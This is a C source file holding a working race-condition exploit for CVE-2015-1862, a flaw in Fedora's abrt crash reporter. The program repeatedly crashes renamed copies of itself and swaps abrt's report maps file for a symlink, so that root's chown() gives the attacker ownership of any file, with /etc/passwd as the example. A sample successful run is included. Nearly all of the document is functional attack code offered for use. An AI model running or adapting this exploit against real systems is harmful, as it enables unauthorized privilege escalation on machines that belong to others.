#include <stdlib.h>
#include <unistd.h>
#include <stdbool.h>
#include <stdio.h>
#include <signal.h>
#include <err.h>
#include <string.h>
#include <alloca.h>
#include <limits.h>
#include <sys/inotify.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
//
// This is a race condition exploit for CVE-2015-1862, targeting Fedora.
//
// Note: It can take a few minutes to win the race condition.
//
// -- taviso@cmpxchg8b.com, April 2015.
//
// $ cat /etc/fedora-release
// Fedora release 21 (Twenty One)
// $ ./a.out /etc/passwd
// [ wait a few minutes ]
// Detected ccpp-2015-04-13-21:54:43-14183.new, attempting to race...
// Didn't win, trying again!
// Detected ccpp-2015-04-13-21:54:43-14186.new, attempting to race...
// Didn't win, trying again!
// Detected ccpp-2015-04-13-21:54:43-14191.new, attempting to race...
// Didn't win, trying again!
// Detected ccpp-2015-04-13-21:54:43-14195.new, attempting to race...
// Didn't win, trying again!
// Detected ccpp-2015-04-13-21:54:43-14198.new, attempting to race...
// Exploit successful...
// -rw-r--r--. 1 taviso abrt 1751 Sep 26 2014 /etc/passwd
//
static const char kAbrtPrefix[] = "/var/tmp/abrt/";
static const size_t kMaxEventBuf = 8192;
static const size_t kUnlinkAttempts = 8192 * 2;
static const int kCrashDelay = 10000;
static pid_t create_abrt_events(const char *name);
int main(int argc, char **argv)
{
int fd, i;
int watch;
pid_t child;
struct stat statbuf;
struct inotify_event *ev;
char *eventbuf = alloca(kMaxEventBuf);
ssize_t size;
// First argument is the filename user wants us to chown().
if (argc != 2) {
errx(EXIT_FAILURE, "please specify filename to chown (e.g. /etc/passwd)");
}
// This is required as we need to make different comm names to avoid
// triggering abrt rate limiting, so we fork()/execve() different names.
if (strcmp(argv[1], "crash") == 0) {
__builtin_trap();
}
// Setup inotify, and add a watch on the abrt directory.
if ((fd = inotify_init()) < 0) {
err(EXIT_FAILURE, "unable to initialize inotify");
}
if ((watch = inotify_add_watch(fd, kAbrtPrefix, IN_CREATE)) < 0) {
err(EXIT_FAILURE, "failed to create new watch descriptor");
}
// Start causing crashes so that abrt generates reports.
if ((child = create_abrt_events(*argv)) == -1) {
err(EXIT_FAILURE, "failed to generate abrt reports");
}
// Now start processing inotify events.
while ((size = read(fd, eventbuf, kMaxEventBuf)) > 0) {
// We can receive multiple events per read, so check each one.
for (ev = eventbuf; ev < eventbuf + size; ev = &ev->name[ev->len]) {
char dirname[NAME_MAX];
char mapsname[NAME_MAX];
char command[1024];
// If this is a new ccpp report, we can start trying to race it.
if (strncmp(ev->name, "ccpp", 4) != 0) {
continue;
}
// Construct pathnames.
strncpy(dirname, kAbrtPrefix, sizeof dirname);
strncat(dirname, ev->name, sizeof dirname);
strncpy(mapsname, dirname, sizeof dirname);
strncat(mapsname, "/maps", sizeof mapsname);
fprintf(stderr, "Detected %s, attempting to race...\n", ev->name);
// Check if we need to wait for the next event or not.
while (access(dirname, F_OK) == 0) {
for (i = 0; i < kUnlinkAttempts; i++) {
// We need to unlink() and symlink() the file to win.
if (unlink(mapsname) != 0) {
continue;
}
// We won the first race, now attempt to win the
// second race....
if (symlink(argv[1], mapsname) != 0) {
break;
}
// This looks good, but doesn't mean we won, it's possible
// chown() might have happened while the file was unlinked.
//
// Give it a few microseconds to run chown()...just in case
// we did win.
usleep(10);
if (stat(argv[1], &statbuf) != 0) {
errx(EXIT_FAILURE, "unable to stat target file %s", argv[1]);
}
if (statbuf.st_uid != getuid()) {
break;
}
fprintf(stderr, "\tExploit successful...\n");
// We're the new owner, run ls -l to show user.
sprintf(command, "ls -l %s", argv[1]);
system(command);
return EXIT_SUCCESS;
}
}
fprintf(stderr, "\tDidn't win, trying again!\n");
}
}
err(EXIT_FAILURE, "failed to read inotify event");
}
// This routine attempts to generate new abrt events. We can't just crash,
// because abrt sanely tries to rate limit report creation, so we need a new
// comm name for each crash.
static pid_t create_abrt_events(const char *name)
{
char *newname;
int status;
pid_t child, pid;
// Create a child process to generate events.
if ((child = fork()) != 0)
return child;
// Make sure we stop when parent dies.
prctl(PR_SET_PDEATHSIG, SIGKILL);
while (true) {
// Choose a new unused filename
newname = tmpnam(0);
// Make sure we're not too fast.
usleep(kCrashDelay);
// Create a new crashing subprocess.
if ((pid = fork()) == 0) {
if (link(name, newname) != 0) {
err(EXIT_FAILURE, "failed to create a new exename");
}
// Execute crashing process.
execl(newname, newname, "crash", NULL);
// This should always work.
err(EXIT_FAILURE, "unexpected execve failure");
}
// Reap crashed subprocess.
if (waitpid(pid, &status, 0) != pid) {
err(EXIT_FAILURE, "waitpid failure");
}
// Clean up the temporary name.
if (unlink(newname) != 0) {
err(EXIT_FAILURE, "failed to clean up");
}
// Make sure it crashed as expected.
if (!WIFSIGNALED(status)) {
errx(EXIT_FAILURE, "something went wrong");
}
}
return child;
}